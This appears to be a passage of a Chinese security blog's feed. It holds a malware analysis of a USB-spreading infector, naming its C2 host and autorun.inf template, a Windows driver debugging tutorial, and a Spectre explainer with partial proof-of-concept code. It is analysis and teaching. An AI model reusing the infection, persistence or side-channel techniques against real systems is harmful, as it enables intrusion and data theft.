class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#x27;[autorun]&#x27;,0Dh,0Ah  </span><br><span class="line">&#x27;action=Open&#x27;,0Dh,0Ah</span><br><span class="line">&#x27;icon=%%WinDir%%\system32\shell32.dll,4&#x27;,0Dh,0Ah</span><br><span class="line">&#x27;shellexecute=.\%s&#x27;,0Dh,0Ah</span><br><span class="line">&#x27;shell\explore\command=.\%s&#x27;,0Dh,0Ah</span><br><span class="line">&#x27;USEAUTOPLAY=1&#x27;,0Dh,0Ah</span><br><span class="line">&#x27;shell\Open\command=.\%s&#x27;,0Dh,0Ah,0</span><br></pre></td></tr></table></figure><p><code>%s</code>中是之前提到的exe的路径<br>并且会在当前内容的前后放入大量的干扰字符，阻止正常观察结果。</p><h2 id="分析报告">分析报告</h2><p>样本名称:              gmrnHTLb.exe<br>MD5值:                44E92C4B5F440B756F8FB0C9EEB460B2<br>SHA256：              876C5CEA11BBBCBE4089A3D0E8F95244CF855D3668E9BF06A97D8E20C1FF237C<br>格式:                 Portable executable for 80386 (PE)</p><p>传播方式: 感染硬盘中的Exe,html文件，并且会感染U盘，随U盘传播</p><h3 id="样本行为">样本行为:</h3><h4 id="注入行为">注入行为</h4><ol><li>通过查找注册表找到<code>iexplorer.exe</code>路径并且检查其存在（如果表中的值被更改，则会启动不同的浏览器）</li><li>将自身脱壳，然后检查<code>C:\Program Files\Common Files</code>, <code>C:\Users\username</code>,<code>C:\Users\username\AppData\Roaming</code>以及系统根目录（默认为<code>C:\Windows\System32</code>）Windows 目录（默认为<code>C:\Windows</code>），默认tmp目录<code>C:\Users\fly\AppData\Local\Temp</code>以及<code>C:\Program Files</code>这些目录的写权限，之后往其中一个目录中写入本身的拷贝。</li><li>之后将拷贝启动，同时关闭当前进程。最终启动的一个进程会将当前的<code>ZwWriteVirtualMemory</code>函数进行hook，这个函数的hook会在<code>CreateProcess</code>中被调用。</li><li>被调用的hook函数在程序中会将之前藏在样本中的一个DLL解密释放，之后会将当前的DLL导入到程序高位地址<code>0x200100000</code>中，完成PE头的拼接并且导入一些外部函数</li><li>最后修改<code>iexplorer.exe</code>的开始位置，让其可以跳转到注入的DLL的位置，完成注入。</li></ol><h4 id="恶意行为">恶意行为</h4><ol><li>程序首先会创建互斥锁(后方多线程用到),然后对一些字符串进行解密，得到几个关键的字符串。同时初始化socket。</li><li>检查当前磁盘的盘符，并且将磁盘信息连同本地时间进行MD5处理，写入到<code>Application\dmlconf.dat</code>中</li><li>之后会启动6个线程进行操作</li></ol><p>a. 线程1打开注册表<code>Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code>中的<code>Userinit</code>，修改其中值实现样本能够开机自启<br>b. 初始化socket，并且往<code>google.com:80</code>，<code>bing.com:80</code>以及<code>yahoo.com:80</code>三个网站发送请求，检查网络状态<br>c. 每隔一段时间，向文件<code>dmlconf.dat</code>中写入当前的时间信息<br>d. 从网站<code>fget-career.com:4678</code>中上传本机基本信息<br>e. 从网站<code>fget-career.com:4678</code>中下载程序<br>f. 通过检查注册表，决定是否对文件尽心感染。如果<code>Software\WASAntidot</code>中的值不为<code>disabled</code>，则开始进行感染。其中分别感染<code>exe</code>和<code>html</code>文件，向其中加入恶意程序片段，实现病毒复制。同时往U盘中写入<code>autorun.inf</code>，完成通过U盘的传播过程。</p><h2 id="后记">后记</h2><p>最近开始上班了，感觉搞这些的时间很少，每天不小心熬过12点多第二天上班就会犯困QvQ。病毒本身在分析过程中也有很多没有看明白的地方（比如脱壳总是失败就很惨）写道后来发现这个病毒其实网上已经分析了很多次，思来想去还是老老实实按照自己看到的部分把分析的内容写了下来。最近blog搬了个家，现在也是回归正道了，希望以后不要再偷懒了，尽量还是有东西都写上去好了。。</p><h3 id="参考内容">参考内容</h3><p><a href="https://blog.csdn.net/qq_32400847/article/details/52798050">https://blog.csdn.net/qq_32400847/article/details/52798050</a><br><a href="https://bbs.pediy.com/thread-210140-1.htm">https://bbs.pediy.com/thread-210140-1.htm</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;毕业季学校打印店留给我的礼物，真令人感动(才怪)…&lt;/p&gt;
&lt;h2 id=&quot;more-gmrnhtlb-analyze&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="virus analysis" scheme="https://showlinkroom.me/tags/virus-analysis/"/>
    
  </entry>
  
  <entry>
    <title>Windows Driver 初探</title>
    <link href="https://showlinkroom.me/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/"/>
    <id>https://showlinkroom.me/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/</id>
    <published>2018-06-04T14:50:40.000Z</published>
    <updated>2024-06-13T13:04:53.978Z</updated>
    
    <content type="html"><![CDATA[<p>再毕设的压力下，学习了一下驱动开发，下文部分为微软官方文档的翻译，仅当成驱动开发小白摸索。。大佬可绕路</p><h2 id="more-windows驱动开发初探"><span id="more"></span><br>Windows驱动开发初探</h2><h1 id="开发背景">开发背景</h1><p>主要是为了实现一个 <strong>当创建新的进程的时候，获取其创建时的函数调用链</strong> 这个方案。(<em>迫于时间，最后直接HOOK函数<code>CreateProcess</code>，然后利用了AppCertDLLS的简单思路。。。</em> 。然后就开始自己瞎找，找到了一个利用驱动实现检测的思路。</p><h2 id="关键函数">关键函数</h2><p>驱动中有一个函数叫做:<code>PsSetCreateProcessNotifyRoutine</code>。这个函数原型</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS <span class="title function_">PsSetCreateProcessNotifyRoutine</span><span class="params">( </span></span><br><span class="line"><span class="params">IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, </span></span><br><span class="line"><span class="params">IN BOOLEAN Remove </span></span><br><span class="line"><span class="params">)</span>;</span><br></pre></td></tr></table></figure><p>这个函数能够再我们创建进程/删除进程的时候，调用回调函数<code>NotifyRoutine</code>：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">PCREATE_PROCESS_NOTIFY_ROUTINE PcreateProcessNotifyRoutine;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">PcreateProcessNotifyRoutine</span><span class="params">(</span></span><br><span class="line"><span class="params">  HANDLE ParentId,</span></span><br><span class="line"><span class="params">  HANDLE ProcessId,</span></span><br><span class="line"><span class="params">  BOOLEAN Create</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><ul><li>ParentId: 父进程ID</li><li>ProcessId: 子进程ID</li><li>Create： 当前进行的是创建还是删除工作</li></ul><p>利用这个函数，我们就能够直接检测<strong>每一个进程的创建过程</strong>，感觉简单了很多。</p><h2 id="开发准备">开发准备</h2><ul><li>Visual Studio 2017</li><li>驱动开发的库不是自带的，得自己去官网上下：<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk">WDK</a></li></ul><p>安装好 WDK 之后，我们就能够在VS里面直接看到开发界面找到驱动开发界面:<br>!()[Windows-Driver-初探/driver00.png]<br>驱动主要分为两种:</p><ul><li>Kernel-Mode Driver</li><li>User-Mode Driver</li></ul><p>由于教程上<code>Kernel-Mode Driver</code>的教程比较多，这里选择用这个进行入门。</p><blockquote><p>PS:驱动起名字的时候注意，不要超过32个字符，这个是规定</p></blockquote><h2 id="简单入门">简单入门</h2><p>首先选择对应版本:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver01.png" alt=""></p><p>之后，我们修改当前的项目属性，在<code>配置中的Driver Settings -&gt; General </code>中可以配置我们要发布的驱动对应的平台。<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver02.png" alt=""></p><p>然后再项目处添加一个叫做<code>Driver.c</code>的文件<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver03.png" alt=""></p><blockquote><p>这个位置的 Driver.c 注意不要用cpp做后缀，似乎和编译器有关</p></blockquote><p>然后键入下列代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 原先使用的是MSDN上提供的源代码，但是编译后运行的时候，一直提示说“找不到设备”，所以只能够</span></span><br><span class="line"><span class="comment">// 改成了网路上常见的Hello World 形式</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;ntddk.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">VOID <span class="title function_">DriverUnload</span><span class="params">(PDRIVER_OBJECT driver)</span>&#123;</span><br><span class="line">DbpPrint(<span class="string">&quot;[-] Unload Driver\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">NTSTATUS <span class="title function_">DriverEntry</span><span class="params">(PDRIVER_OBJECT driver, PUNICODE_STRING path)</span>&#123;</span><br><span class="line">DbgPrint(<span class="string">&quot;[+] Driver Loading!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">driver-&gt;DriverUnload = DriverUnload;</span><br><span class="line"><span class="keyword">return</span> NTSTATUS_SUCCESS;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编写完成后，我们修改一下我们工程的配置(为了准备发布)，求改模式为DEBUG，并且发布设置为x64<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver04.png" alt=""></p><p>并且不使用<code>Wpp Tracing</code><br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver05.png" alt=""></p><p>之后来到对应文件目录下(<code>x64\Debug\KmdfHelloWorld</code>)能够找到以下文件<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver06.png" alt=""></p><ul><li>KmdfHelloWorld.sys: 这个就是<code>kernel-mode</code>的驱动文件</li><li>KmdfHelloWorld.inf: 里面记录当sys文件安装的时候需要的信息</li><li>KmdfHelloWorld.cat: 这是一个目录文件，记录了安装程序用来验证驱动程序包的测试签名</li></ul><h3 id="测试入门">测试入门</h3><p>驱动要运行起来没有别的程序那么简单，得需要另一台独立的机子才能够运行。我们一般把运行调试器的机子叫做<strong>host computer</strong>，用于运行驱动的机子叫做<strong>target computer</strong>。</p><p>配置流程</p><p>这里我们用<code>Vmware</code>来辅助测试。首先我们装好了一个64bit 的 Windows7。为了实现联机调试，我们要给当前虚拟机添加串口设备:</p><ul><li>右键当前虚拟机，点击设备，然后位置添加<code>串口设备</code></li><li>在串口设备中，选择<strong>使用命名的管道</strong>，添加管道<code>\\.\pipe\DriverDbgPipe</code></li><li>注意将命名管道下面的内容选择为:该端为服务器，另一端为应用程序</li></ul><p>最终配置情况如下:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver08.png" alt=""></p><blockquote><p>Windows中管道的命名规则必须为: \\.\pipe\<name></name></p></blockquote><p>然后在管理员权限下，执行以下语句:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /set &#123;current&#125; debug yes</span><br><span class="line">bcdedit /set &#123;current&#125; debugtype serial</span><br><span class="line">bcdedit /set &#123;current&#125; debugport 2</span><br><span class="line">bcdedit /set &#123;current&#125; baudrate 115200 </span><br></pre></td></tr></table></figure><p>这里的debugport用于指定我们的COM口。我们创建设备的时候，写作<code>串口设备2</code>，所以这里设置为2。</p><p>之后使用<code>windbg</code>，加上下列参数即可进行调试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\windbg.exe -b -k com:pipe,port=\\.\pipe\DriverWinDbg,resets=0,reconnect</span><br></pre></td></tr></table></figure><h3 id="visual-studio-配置">Visual Studio 配置</h3><p><em>这里使用的是VS2017(后来改成VS2015，配置一致)</em></p><ol><li>首先在 host computer 上找到文件<code>WDK Test Target Setup x86-x86_en-us.msi</code><br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver09.png" alt=""></li><li>然后 target computer 中安装这个文件。</li><li>在 Visual Studio 中打开<code>Driver-&gt;Test-&gt;Configure Devices</code><br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver10.png" alt=""></li><li>Add New Device 添加测试主机，由于我们之前填写debug用的是Serial(串口)，那么这里我们也继续使用串口作为调试。首先我们配置主机的IP等如下:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver11.png" alt=""><br><em>我这边自动安装总是失败，所以这边打算利用VS单纯来调试，安装驱动的时候使用InstDrv</em></li><li>下一个界面确认如下:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver12.png" alt=""></li><li>最后，如果我们看到这个画面，就说明我们配置成功:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver13.png" alt=""></li></ol><p>之后我们就能够拿VS来调试啦！</p><h3 id="动态调试">动态调试</h3><ol><li>首先在调试中找到<strong>附加到进程</strong><br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver14.png" alt=""></li><li>连接类型调整成<code>Windows Kernel Mode Debugger</code>，连接目标调整成我们的主机，然后选择内核进程:<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver15.png" alt=""></li><li>连接之后，会进入如下画面，此时我们按<code>全部中断</code>，让整个内核进程停下来<br><img src="/2018/06/04/Windows-Driver-%E5%88%9D%E6%8E%A2/driver16.png" alt=""></li><li>如果之前配置没错误的话，就能够挂载进行内核调试。（找不到成功的图了）</li></ol><p>然后我们利用工具<code>InstDrv</code>进行驱动安装，安装好之后启动服务，就能够下调试驱动啦！</p><p>PS:用VS调试的时候，可以直接在源代码中下断点进行调试，不过要保证</p><ul><li>发布的是DEBUG版本的</li><li>当我们修改了任何源代的内容，都要重新发布并且重新安装。</li></ul><h3 id="动态调试-网络">动态调试 - 网络</h3><p>这个是最近发现的新的调试方法，好用的一笔</p><ol><li>首先保证宿主机和虚拟机之间能够ping通</li><li>在虚拟机中安装winsdk-选择windbg（option）</li><li>在虚拟机中输入</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /debug on</span><br><span class="line">bcdedit /dbgsettings net hostip:192.168.1.1 port:50000</span><br></pre></td></tr></table></figure><p>其中ip替换成<strong>宿主机IP</strong>（非虚拟机）端口替换成空闲端口即可<br>此时会打印一段key</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Key=1xxxxxxxxxxxxxxxx</span><br></pre></td></tr></table></figure><ol start="4"><li>在宿主机使用windbg，选择kernel debug后选择<code>Net</code>，之后端口填写指定的端口，key填写之前给出的key</li><li>重启目标机器，之后即可开始调试</li></ol><h3 id="踩坑">踩坑</h3><ol><li>如果要实现VS远程调试的话，一定要打开</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /debug on</span><br></pre></td></tr></table></figure><p>设置完之后，<strong>一定要重启</strong>，最好是关闭虚拟机再打开。<br>(上面也提过别的打开方式，但是一定要打开，否则windbg会一直处于<code>reconnect wait...</code>的状态)</p><ol start="2"><li><p>同样，为了实现VS远程调试，一定要安装:<br><code>WDK Test Target Setup x86-x86_en-us.msi</code><br>或者<br><code>WDK Test Target Setup x64-x64_en-us.msi</code><br>否则的话配置HOST那部分无法通过。</p></li><li><p>调试的时候，对于驱动，调试的时候如果要替换当前的驱动，一定要<strong>记得卸载</strong>，不然的话会卡死</p></li><li><p>之前用VS2017的时候，不知原因一直爆炸。。改成VS2015之后突然可以了。。。理解不能</p></li><li><p>如果要用VS下断点，则此时的调试顺序为:</p></li></ol><ul><li>使用VS连接上target 主机</li><li>当前 Target 载入驱动</li></ul><p>如果<strong>先载入了驱动，再让VS连上target</strong>，此时下载vs里面的断点（指下在代码上的那种）会断不下来。（估计原因是因为载入了驱动后，VS会找不到符号所以无法调试）</p><ol start="6"><li>如果调试内核的时候下了断点（包括用了windbg的那个暂停按钮），需要再调试结束的时候将断点删除，否则的话会造成电脑重新启动的时候显示驱动损坏。原因是因为下断点的时候，一般用的是软中断，也就是会将当前指令替换成0xcc的一种断点。因为内核调试的时候一般退出调试会直接关闭调试模式等，导致此断点的软中断中的指令没有被替换会原来的指令，导致驱动加载错误。</li><li>有时候，如果target computer打开了防火墙，也会导致无法连接（显示<code>waiting to reconnect</code>）</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;再毕设的压力下，学习了一下驱动开发，下文部分为微软官方文档的翻译，仅当成驱动开发小白摸索。。大佬可绕路&lt;/p&gt;
&lt;h2 id=&quot;more-windows驱动开发初探&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
    <category term="driver" scheme="https://showlinkroom.me/tags/driver/"/>
    
  </entry>
  
  <entry>
    <title>Spectre研究笔记</title>
    <link href="https://showlinkroom.me/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/"/>
    <id>https://showlinkroom.me/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/</id>
    <published>2018-02-19T08:45:03.000Z</published>
    <updated>2020-07-16T13:31:30.417Z</updated>
    
    <content type="html"><![CDATA[<p>人生第一次见到硬件层面上的漏洞，好好研究一下看看</p><span id="more"></span><h2 id="spectre研究笔记">Spectre研究笔记</h2><h2 id="背景知识">背景知识</h2><p>这个漏洞的成因其实是 CPU 在优化程序执行过程中所导致的。所以在研究这个问题之前，我们首先要提导致了这个漏洞产生的优化方式:</p><ul><li>Cache 缓存</li><li>分支预测</li></ul><h3 id="cache-缓存">Cache 缓存</h3><p>我们知道，当我们访问一个内存的时候，比如说如下的代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> temp = <span class="built_in">array</span>[index];</span><br></pre></td></tr></table></figure><p>我们需要进行两个操作:</p><ul><li>计算出当前的内存的偏移量</li><li>将当前偏移位置的数据取出来</li></ul><p>当进行数据操作的时候，我们知道读写的时候速度很慢，当我们执行第二个操作的时候，程序需要发生一次内存读写:<br><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre01.png" alt=""><br>如果我们多次进行这样的数据访问的话，那么会导致我们程序执行的时间大大增加。<br>为了提高程序访问数据的速度，设计者们采用了<strong>局部性原理</strong>，也就是<strong>地址相邻的数据可能会被频繁访问</strong>的特点。<br>每次取出数据的时候，会将当前地址周围的数据提前缓取出，存在<code>cache</code>中。每次访问内存的时候，首先检查<code>cache</code>中是不是含有我们查找的地址对应的数据，如果有的话，就会将当前的数据取出<br><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre02.png" alt=""><br>如上图，此时<strong>橙色的数据块是我们查找的数据</strong>，那么此时就不会进行内存访问，而是直接从 cache 中将数据取出。这个过程比直接访问内存要快，从而提高了程序的执行速度。</p><h3 id="分支预测">分支预测</h3><p>在程序执行的过程中，很多指令其实不一定要同时执行，比如下列指令:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> <span class="built_in">ecx</span>, [<span class="built_in">edi</span>]</span><br><span class="line"><span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">3</span></span><br><span class="line"><span class="keyword">add</span> <span class="built_in">ebx</span>, <span class="number">5</span></span><br></pre></td></tr></table></figure><p>可以看到，有一个取值的操作，并且在这个指令前的两个指令与当前指令无关，所以我们完全可以打乱程序的执行顺序:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">3</span></span><br><span class="line"><span class="keyword">add</span> <span class="built_in">ebx</span>, <span class="number">5</span></span><br><span class="line"><span class="keyword">mov</span> <span class="built_in">ecx</span>, [<span class="built_in">edi</span>]</span><br></pre></td></tr></table></figure><p>打乱了执行的顺序之后，这些指令就能够并发的执行。</p><p><strong>CPU</strong>的流水线工作流程如下:<br><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre03.png" alt=""><br>整个执行的流程如下:</p><ul><li>取指令(Fetch)</li><li>译码(Decode)</li><li>执行(Execute)</li><li>写回(Write-Back)</li></ul><p>由于上面的指令之间不存在相互依赖关系，所以这里三个指令就能够并发执行，可以在第一个指令进行<strong>执行</strong>这个位置的时候，第二个指令在<strong>译码</strong>，第三个指令在<strong>取指</strong>，进行并发执行的时候也不会影响。</p><p>但是，遇到这类代码的时候，就没有办法进行并发执行:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(a &gt; <span class="number">10</span>)&#123;</span><br><span class="line">execute code</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>遇到了分支的时候，代码就没有办法直接进行并发执行了。因为这个时候不知道当前的代码会不会影响并发，所以这个时候就不会进行乱序执行，而是会执行<strong>分支预测</strong>。</p><p>比如将上面的判断写起来的时候如下逻辑:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">10</span><span class="comment">; edx = a</span></span><br><span class="line"><span class="symbol">jg label</span>1</span><br><span class="line"><span class="symbol">...</span></span><br><span class="line"><span class="symbol">label</span>1:</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>此时cpu不知道当前的程序会进行到哪一个分支上，但是为了提高执行速度，此时的 cpu 会尝试进行分支预测，也就是通过一定的策略，<strong>猜测此时的程序会执行的位置，并且提前执行当前的指令</strong>。如果执行正确，那么就继续执行之后的指令，否则的话则将当前预执行的指令回滚，然后重新执行正确的分支</p><p>对于分支预测，有很多相关的研究，一个最简单的思路就是</p><pre><code>对于所有的跳转，统一进行跳转</code></pre><p>这个操作虽然很简单，但是由于一个程序存在大量循环语句，这个预测其实还是有一定的优化意义的。<br>为了增加命中率，又有了一种与状态机相关的预测方法</p><pre><code>对于当前的跳转，设置一个状态机，以00表示。每次发生一次跳转，就将一个状态置为1。比如说跳转一次，则此时状态为01，再跳转一次，则状态为10。当这个状态机达到11或者10的时候，遇到分支的时候就预测其将进行跳转，否则的话则不进行分支跳转</code></pre><p><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre04.png" alt=""><br>这个算法增加了不少命中率，使得分支预测更加准确。之后在这个思想上提出了一种新的预测思想:</p><pre><code>使用一个 Branch History Register ，记录当前的跳转情况。比如说0110表示到目前位置之前，对于分支我们第一次未发生跳转，中间跳转了2次，最后1次没有发生跳转，然后此时我们就会到一个 Pattern History Table 中查找当前的跳转模式。并且当前的跳转结果也放到学习过程，对这个状态机进行训练。</code></pre><p><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre05.png" alt=""><br>这个似乎是最近的一个比较核心的预测思路了，之后的思路都是在这个算法上进行的优化。</p><h2 id="漏洞成因">漏洞成因</h2><p>当我们在进行分支预测的时候，程序会将分支部分的代码进行<strong>预执行</strong>.比如:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(i &lt; index_array_size)&#123;</span><br><span class="line">tmp = array2[index_array[i] * <span class="number">512</span>]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上述情况中，<code>index_array</code>是一个用来存储下标的数组，那么当 i 的值大于512的时候，如果训练合理，此时的分支预测会导致程序乱序体现执行了<code>if</code>语句这种的部分内容:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index_array[i] * <span class="number">512</span></span><br></pre></td></tr></table></figure><p>上述的数据作为数组<code>array2</code>的下标，于是会把这个地址以及周围的数据放在 cache 中。<br><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre06.png" alt=""></p><p>这样的时候，index_array[i] * 512 的数据其实就<strong>泄露</strong>了。因为这个时候，<code>array2[index_array[i] * 512]</code>已经被读入到cache 中。<br><img src="/2018/02/19/Spectre%E7%A0%94%E7%A9%B6%E7%AC%94%E8%AE%B0/spectre07.png" alt=""><br>那么这个<code>index_array[i]</code>此时作为下标的形式存在了 cache 中</p><p>当然，普通的index_array大部分就是如下的样子:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index_array[<span class="number">16</span>] = &#123;<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6.</span>..&#125;;</span><br></pre></td></tr></table></figure><p>但是如果，这个index_array的下标<strong>如果能够被我们控制的话，我们能够选择一个敏感的位置的数据</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">idnex_array[offset_to_kernel_function]</span><br></pre></td></tr></table></figure><p>那么我们就能够利用数组，将这些敏感位置的数据泄露。</p><p>现在我们把我们的目标数据作为<code>index_array[i]</code>读入了cache，那么接下来我们就能够利用 cache 的特性 ———— 读取速度比内存块 这一点将数据进行猜测。这种攻击方式我们称之为<strong>侧信道攻击</strong>。</p><h3 id="侧信道攻击">侧信道攻击</h3><p>对于一些数据的猜测攻击，我们有时候可以不直接将数据本身泄露出来，而是可以选择和数据相关的参数，比如</p><ul><li>访问时间</li><li>温度</li><li>声音</li><li>等等。。。。。。</li></ul><p>当然不是所有的信息都能够用得上，但是只要由一点能够利用上，就有可能将我们需要的数据从看似安全的环境下取出。</p><p>这次的攻击我们利用的就是<strong>访问时间</strong>。因为此时我们的数据已经被读取到了 cache 上，因此<strong>访问的速度和原先的访问速度存在差异</strong>。那么我们这个时候就能够通过检测访问当前数组上的元素的时间差异，猜测当前我们访问的数据是不是已经存放到了 cache 中，从而得到我们当前数据的下标，实现信息泄露。</p><h2 id="实例">实例</h2><p>这里结合着网上流传最广的 Spectre 的测试代码吗来分析。首先我们需要<strong>可能利用的数组</strong>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 这个数组表示256个ascii码，在侧信道攻击中用于数据泄露</span></span><br><span class="line"><span class="comment">// array1中需要包含合理的下标，训练当前的分支预测</span></span><br><span class="line"><span class="type">uint8_t</span> array1[<span class="number">256</span>] = &#123;<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>,<span class="number">10</span>,<span class="number">11</span>,<span class="number">12</span>,<span class="number">13</span>,<span class="number">14</span>,<span class="number">15</span>,<span class="number">16</span>&#125;;</span><br><span class="line"><span class="comment">// array2数组用于存放对应的下标，实现侧信道攻击</span></span><br><span class="line"><span class="type">uint8_t</span> array2[<span class="number">512</span> * <span class="number">256</span>];</span><br></pre></td></tr></table></figure><p>然后，我们可以伪造一个函数，大致的功能是<strong>访问array2中，以array1作为下标的数组元素，此时array1尝试访问一个我们想知道数据的地址</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">victim</span><span class="params">(<span class="type">int</span> i)</span>&#123;</span><br><span class="line"><span class="keyword">if</span> ( i &lt; array1_size)</span><br><span class="line">tmp &amp;= array2[<span class="number">512</span> * array1[i]]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>利用这个函数，我们能够将数据作为下标，读入到cache中。</p><p>这之后，我们需要一个位置进行侧信道攻击，具体来说可以是如下的形式:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 